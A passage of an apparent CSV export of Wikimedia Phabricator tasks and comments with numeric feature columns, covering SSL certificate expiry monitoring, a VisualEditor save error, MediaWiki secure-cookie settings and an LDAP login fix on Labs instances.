+So while this is 99% complete, we should add in checks in icinga for the various hosts, so I'll be changing the overall subject of the task.",,,1443482244,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,12,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0
+536558,audit all SSL certificates expiry on ops tracking gcal,"For the first steps, I've created https://docs.google.com/a/wikimedia.org/spreadsheets/d/1yT5rvoEEUHhNeJAQRVamr8ECqN3TLsMaO8N_At4Ki3I/edit?usp=sharing
+
+This lists off all the one-off certificates listed earlier in this task.  I'll be using it to check against the ops tracking calendar for these renewals and adding the ssl renewals as needed to those entries.",,,1443469029,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,12,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0
+530184,audit all SSL certificates expiry on ops tracking gcal,"related but slightly tangent to this, we have also other private material that's bound to expire (e.g. puppet CA, gpg keyrings for apt repos, certs for cassandra server/client auth). I was thinking we could extend the checks directly by reading material from private.git locally and alert accordingly, thoughts?",,,1442572522,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+527324,audit all SSL certificates expiry on ops tracking gcal,"We only have that icinga check on the primary unified cert, which covers the production endpoints for:
+
+- wikipedia.org
+- mediawiki.org
+- wikibooks.org
+- wikidata.org
+- wikimediafoundation.org
+- wikimedia.org
+- wikinews.org
+- wikiquote.org
+- wikisource.org
+- wikiversity.org
+- wikivoyage.org
+- wiktionary.org
+
+... and all of their mobile subdomains and whatnot.  It's a pretty verbose check, validates functional SSL for all of the SAN domains, checks the cert expiry, etc.
+
+But we don't have any kind of checking in place for the various other misc certs we own that are deployed for smaller or one-off services, or deployed to third parties (or in some cases, rare today but important later - not deployed at all but still critical).  Just looking at puppet's files/ssl/ today, that list is something like:
+
+```
+archiva.wikimedia.org.crt
+blog.wikimedia.org.crt
+dumps.wikimedia.org.crt
+ecc-star.wmfusercontent.org.crt
+eventdonations.wikimedia.org.crt
+ganglia.wikimedia.org.crt
+gerrit.wikimedia.org.crt
+icinga.wikimedia.org.crt
+labvirt-star.eqiad.wmnet.crt
+ldap-codfw.wikimedia.org.crt
+ldap-eqiad.wikimedia.org.crt
+ldap-mirror.wikimedia.org.crt
+librenms.wikimedia.org.crt
+lists.wikimedia.org.crt
+policy.wikimedia.org.crt
+rt.wikimedia.org.crt
+star.planet.wikimedia.org.crt
+star.wmflabs.org.crt
+star.wmfusercontent.org.crt
+stream.wikimedia.org.crt
+tendril.wikimedia.org.crt
+ticket.wikimedia.org.crt
+toolserver.org.crt
+virt-star.eqiad.wmnet.crt
+wikitech.wikimedia.org.crt
+```
+
+Of those, I can see in our icinga config direct expiry checks only for:
+```
+lists.wikimedia.org
+ticket.wikimedia.org
+ldap-codfw.wikimedia.org
+ldap-eqiad.wikimedia.org
+```
+",,,1442282960,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+527323,audit all SSL certificates expiry on ops tracking gcal,"We only have that icinga check on the primary unified cert, which covers the production endpoints for:
+
+- wikipedia.org
+- mediawiki.org
+- wikibooks.org
+- wikidata.org
+- wikimediafoundation.org
+- wikimedia.org
+- wikinews.org
+- wikiquote.org
+- wikisource.org
+- wikiversity.org
+- wikivoyage.org
+- wiktionary.org
+
+... and all of their mobile subdomains and whatnot.  It's a pretty verbose check, validates functional SSL for all of the SAN domains, checks the cert expiry, etc.
+
+But we don't have any kind of checking in place for the various other misc certs we own that are deployed for smaller or one-off services, or deployed to third parties (or in some cases, rare today but important later - not deployed at all but still critical).  Just looking at puppet's files/ssl/ today, that list is something like:
+
+```
+archiva.wikimedia.org.crt
+blog.wikimedia.org.crt
+dumps.wikimedia.org.crt
+ecc-star.wmfusercontent.org.crt
+ecc-uni.wikimedia.org.crt
+eventdonations.wikimedia.org.crt
+ganglia.wikimedia.org.crt
+gerrit.wikimedia.org.crt
+icinga.wikimedia.org.crt
+labvirt-star.eqiad.wmnet.crt
+ldap-codfw.wikimedia.org.crt
+ldap-eqiad.wikimedia.org.crt
+ldap-mirror.wikimedia.org.crt
+librenms.wikimedia.org.crt
+lists.wikimedia.org.crt
+policy.wikimedia.org.crt
+rt.wikimedia.org.crt
+star.planet.wikimedia.org.crt
+star.wmflabs.org.crt
+star.wmfusercontent.org.crt
+stream.wikimedia.org.crt
+tendril.wikimedia.org.crt
+ticket.wikimedia.org.crt
+toolserver.org.crt
+virt-star.eqiad.wmnet.crt
+wikitech.wikimedia.org.crt
+```
+
+Of those, I can see in our icinga config direct expiry checks only for:
+```
+lists.wikimedia.org
+ticket.wikimedia.org
+ldap-codfw.wikimedia.org
+ldap-eqiad.wikimedia.org
+```
+",,,1442282906,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+527321,audit all SSL certificates expiry on ops tracking gcal,Wasn't there an Icinga check that tested that certificates were good for another x days?,,,1442282549,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+527299,audit all SSL certificates expiry on ops tracking gcal,"Since we've had a second cert expire on us unexpectedly now in a span of a few days, I went ahead and audited the expiries on all of the cert files stored in puppet's files/ssl/ directory.  Nothing else is coming up imminently.  There's a batch that will expire in November, but it's the prod SNI certs we're not currently using and don't currently plan to renew.",,,1442280813,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+527298,audit all SSL certificates expiry on ops tracking gcal,"Since we've had a second cert expire on us unexpectedly now in a span of a few days, I went ahead and auditing the expiries on all of the cert files stored in puppet's files/ssl/ directory.  Nothing else is coming up imminently.  There's a batch that will expire in November, but it's the prod SNI certs we're not currently using and don't currently plan to renew.",,,1442280797,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+526764,audit all SSL certificates expiry on ops tracking gcal,this is changing scope to a checklist for all ssl certificate purchases and how to review and audit,,,1442247150,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+112496,"Getting occasional ""Parsoidserver-http: HTTP 400"" error when editing Czech Wikipedia using VE","Sometimes we try to save changes we did using VisualEditor but instead get a pop-up with a ""Parsoidserver-http: HTTP 400"" error. This was once experienced by me, one of the students in our education program as well as by her teacher who leads the course, so the problem occurs quite widely. 
+
+The only chance is to go back to the VE and try to save again but this typically displays the same pop-up. In the end, you lose your edit and have to write it again. ",Needs Triage,90.0,1442212737,1442228178.0,PHID-USER-a4edeqdvlofeplcynh6u,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-4qwlexi3l4f2dopv4xt3,task_description,duplicate,True,c3,3,False,False,True,10,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+526487,"Getting occasional ""Parsoidserver-http: HTTP 400"" error when editing Czech Wikipedia using VE","It's a duplicate of https://phabricator.wikimedia.org/T112286, for some reason I don't seem able to merge the two.",,,1442227295,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-4qwlexi3l4f2dopv4xt3,task_subcomment,,True,c3,3,False,,,10,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+526484,"Getting occasional ""Parsoidserver-http: HTTP 400"" error when editing Czech Wikipedia using VE",It's a duplicate of https://phabricator.wikimedia.org/T112286.,,,1442227150,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-4qwlexi3l4f2dopv4xt3,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+526392,"Getting occasional ""Parsoidserver-http: HTTP 400"" error when editing Czech Wikipedia using VE",There are several similar problems being reported on https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Strange_repeatable_error,,,1442215103,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-4qwlexi3l4f2dopv4xt3,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+112410,[SocialLogin] Notice: First alias 'SocialLogin' for SocialLogin conflicts with canonical alias for sociallogin,Notice: First alias 'SocialLogin' for SocialLogin conflicts with canonical alias for sociallogin [Called from SpecialPageFactory::getAliasList in /vagrant/mediawiki/includes/specialpage/SpecialPageFactory.php at line 310] in /vagrant/mediawiki/includes/debug/MWDebug.php on line 300,Needs Triage,90.0,1442093823,1584949519.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-so3vctmlue66q7haivar,task_description,invalid,True,c3,3,True,False,False,10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+1469047,[SocialLogin] Notice: First alias 'SocialLogin' for SocialLogin conflicts with canonical alias for sociallogin,Tasks relating to this extension should be filed upstream: https://github.com/ajarzebowski/SocialLogin . Closing this task as invalid here.,,,1584949519,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-so3vctmlue66q7haivar,task_subcomment,,True,c3,3,True,,,246,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+111489,Fix login browser tests,"These are not smoke tests so were broken by the change to use core login. Please ensure nothing got broken.
+https://integration.wikimedia.org/ci/job/browsertests-MobileFrontend-en.m.wikipedia.beta.wmflabs.org-linux-firefox-sauce/806/",Needs Triage,90.0,1441339489,1441624679.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-w3pd7vqenmta6vpmhwcn,False,PHID-TASK-gouantw3muaylxrp4c2d,task_description,resolved,True,c3,3,True,False,True,9,True,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+521942,Fix login browser tests,This is a technical task.,,,1441624679,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-gouantw3muaylxrp4c2d,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+521217,Fix login browser tests,"Change 236037 merged by jenkins-bot:
+QA: Fix failing tests due to change to desktop login form
+
+[[https://gerrit.wikimedia.org/r/236037]]",,,1441389283,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gouantw3muaylxrp4c2d,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+521127,Fix login browser tests,"Change 236037 had a related patch set uploaded (by Jdlrobson):
+Fix failing tests due to change to desktop login form
+
+[[https://gerrit.wikimedia.org/r/236037]]
+",,,1441383327,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gouantw3muaylxrp4c2d,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+111135,"LocalSettings.php lacks wgSecureLogin, wgCookieHttpOnly and wgCookieSecure","We recently installed WikiMedia 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.
+
+According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (https://www.mediawiki.org/wiki/Manual:Configuration_Settings and https://www.mediawiki.org/wiki/Manual:LocalSettings.php).
+
+However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.
+
+I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.
+
+To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:
+
+    $wgSecureLogin = true;
+    $wgCookieHttpOnly = true;
+    $wgCookieSecure = detect;
+
+It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change `wgSecureLogin = false` to `wgSecureLogin = true`.",Needs Triage,90.0,1441155537,,PHID-USER-feaw6xhb25emsrbrabcc,False,,False,PHID-TASK-plmtgcycn7hz2vchgfru,task_description,open,True,c3,3,False,False,,8,True,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0
+111135,"LocalSettings.php lacks wgSecureLogin, wgCookieHttpOnly and wgCookieSecure","We recently installed WikiMedia 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.
+
+According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (https://www.mediawiki.org/wiki/Manual:Configuration_Settings and https://www.mediawiki.org/wiki/Manual:LocalSettings.php).
+
+However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.
+
+I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.
+
+To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:
+
+    $wgSecureLogin = true;
+    $wgCookieHttpOnly = true;
+    $wgCookieSecure = detect;
+
+It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change `wgSecureLogin = false` to `wgSecureLogin = true`.",Needs Triage,90.0,1441155537,,PHID-USER-feaw6xhb25emsrbrabcc,False,,False,PHID-TASK-plmtgcycn7hz2vchgfru,task_description,open,True,c3,3,False,False,,8,True,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0
+1692131,"LocalSettings.php lacks wgSecureLogin, wgCookieHttpOnly and wgCookieSecure","```
+$wgCookieHttpOnly = true;
+$wgCookieSecure = detect;
+```
+Are the defaults in DefaultSettings.php.
+
+
+`$wgSecureLogin` could be set to true, but that only works if the `$wgServer` value is protocol relative.
+Using `$wgForceHTTPS` is a better choice.
+
+",,,1616677956,,PHID-USER-ocoec2m74xxi5ju2tb2i,False,,,PHID-TASK-plmtgcycn7hz2vchgfru,task_subcomment,,True,c3,3,False,,,299,True,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0
+1692131,"LocalSettings.php lacks wgSecureLogin, wgCookieHttpOnly and wgCookieSecure","```
+$wgCookieHttpOnly = true;
+$wgCookieSecure = detect;
+```
+Are the defaults in DefaultSettings.php.
+
+
+`$wgSecureLogin` could be set to true, but that only works if the `$wgServer` value is protocol relative.
+Using `$wgForceHTTPS` is a better choice.
+
+",,,1616677956,,PHID-USER-ocoec2m74xxi5ju2tb2i,False,,,PHID-TASK-plmtgcycn7hz2vchgfru,task_subcomment,,True,c3,3,False,,,299,True,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0
+110891,Logins fail on new instances,Restarting nslcd on an instance resolves the issue.,Needs Triage,90.0,1441030852,1441067085.0,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-slwh4ngu6ytstghfdv56,task_description,resolved,True,c3,3,True,True,True,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+518093,Logins fail on new instances,"yep, fixed on Trusty as well.  New images are live now.",,,1441067085,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+518070,Logins fail on new instances,https://gerrit.wikimedia.org/r/235142 looks to have fixed Jessie.  I've also forced a restart of nslcd everywhere that salt can reach.,,,1441064794,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+518026,Logins fail on new instances,"Change 235142 merged by Andrew Bogott:
+Copy over ca-certificates to labs base image
+
+[[https://gerrit.wikimedia.org/r/235142]]",,,1441061226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+518024,Logins fail on new instances,"Change 235142 had a related patch set uploaded (by Andrew Bogott):
+Copy over ca-certificates to labs base image
+
+[[https://gerrit.wikimedia.org/r/235142]]
+",,,1441061169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+517688,Logins fail on new instances,"Change 235011 merged by Andrew Bogott:
+Add more nslcd notifying
+
+[[https://gerrit.wikimedia.org/r/235011]]",,,1441033169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1
+517685,Logins fail on new instances,"Change 235011 had a related patch set uploaded (by Andrew Bogott):
+Add more nslcd notifying.
+
+[[https://gerrit.wikimedia.org/r/235011]]
+",,,1441033044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+517677,Logins fail on new instances,"Change 235006 merged by Andrew Bogott:
+Explicitly include nslcd package.
+
+[[https://gerrit.wikimedia.org/r/235006]]",,,1441032199,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+517676,Logins fail on new instances,"Change 235006 had a related patch set uploaded (by Andrew Bogott):
+Explicitly include nslcd package.
+
+[[https://gerrit.wikimedia.org/r/235006]]
+",,,1441032081,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+517673,Logins fail on new instances,"Change 235005 merged by Andrew Bogott:
+Make ldap/nscd/nslcd install order more explicit.
+
